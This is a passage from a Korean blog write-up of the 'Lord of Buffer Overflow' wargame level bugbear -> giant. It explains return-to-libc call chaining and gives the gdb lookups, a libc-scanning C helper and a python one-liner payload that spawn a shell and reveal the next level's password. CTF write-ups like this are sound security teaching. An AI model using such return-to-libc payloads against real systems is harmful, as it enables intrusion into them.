일반적인 형태는 다음과 같다. (func1 인자 2개, func2의 인자가 1개라고 가정)

buffer sfp ret addr
(func1)
pop pop retn
주소
func1
param1
func1
param2
func2
주소
dummy func2 param

과정을 살펴보면 func1으로 돌아가서 push ebp부터 시작해서 leave, ret 거치면서 pop retn 명령어의 주소로 eip가 설정될 것이다. 자연스럽게 pop pop retn 명령어를 각각 수행하면 func1 param1, param2는 pop 될 것이고 func2 주소로 retn 되어 func2가 실행될 것이다. func2 다음엔 호출할 함수가 없기에 dummy가 들어간다. 원래 func 다음엔 다음에 호출할 함수 주소가 들어간다.

직접 테스트한 글이 있기에 참고하면 도움이 될 것이다.

https://kblab.tistory.com/222

https://kblab.tistory.com/218

이 문제를 풀기 위해선 다음과 같이 payload를 구성한다.

buffer sfp ret addr
(execve 함수)
retn addr
(system 함수)
dummy system 함수
param
("/bin/sh")

이제 execve 함수, system 함수, "/bin/sh"문자열의 주소를 구해보자.

[bugbear@localhost bugbear]$ gdb giant2 -q
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r aaaa
Starting program: /home/bugbear/giant2 aaaa

Breakpoint 1, 0x8048566 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p execve
$2 = {<text variable, no debug info>} 0x400a9d48 <__execve>

system 주소: 0x40058ae0

execve 주소: 0x400a9d48

[bugbear@localhost bugbear]$ cat getaddr.c
#include <stdio.h>
#include <string.h>
int main(){
	long sh=0x40058ae0;
	while(memcmp((void*)sh,"/bin/sh",8)){
		sh++;
	}
	printf("%p\n",sh);
}
[bugbear@localhost bugbear]$ gcc getaddr.c -o getaddr
[bugbear@localhost bugbear]$ ./getaddr
0x400fbff9

"/bin/sh" 주소: 0x400fbff9

payload를 완성해 보자.

[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH 
@ɀAAAA
bash$ my-pass
euid = 514
one step closer

위에 만든 형식대로 주소값을 대입했다. 주의할 점은 `python ~ ` 이 아니라 "`python ~`"인 것이다. execve 주소 인자에 \x0a가 들어가는데 print로 출력하면 개행임을 알 수 있다. 따라서 "(큰 따옴표)로 앞 뒤를 묶어서 문자로 처리한다.

giant의 비밀번호는 one step closer이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

assassin -> zombie_assassin  (0) 2023.02.01
giant -> assassin  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31
golem -> darkknight  (0) 2023.01.26
skeleton -> golem  (0) 2023.01.25

+ Recent posts